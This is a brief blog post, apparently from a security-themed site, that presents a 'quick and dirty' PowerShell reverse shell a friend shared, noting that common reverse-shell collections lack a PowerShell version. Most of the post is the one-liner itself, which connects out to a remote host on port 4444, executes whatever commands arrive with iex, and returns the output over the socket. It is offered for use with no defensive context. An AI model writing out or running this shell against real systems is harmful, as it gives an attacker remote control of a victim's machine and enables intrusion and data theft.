Latest Posts

Quick and dirty powershell reverse shell

A friend of mine came over a sweet little reverse powershell script. I’ve used a lot of the reverse shell at but they do not have a powershell version. $sm=(New-Object Net.Sockets.TCPClient(“”,4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

Tags: , , , , , , Next Page »« Previous Page

Leave a Reply

Your email address will not be published. Required fields are marked *

class="post-1841 post type-post status-publish format-standard hentry category-checkpoint tag-checkpoint tag-conflict tag-db tag-destination tag-gaia tag-network tag-nmseth0029"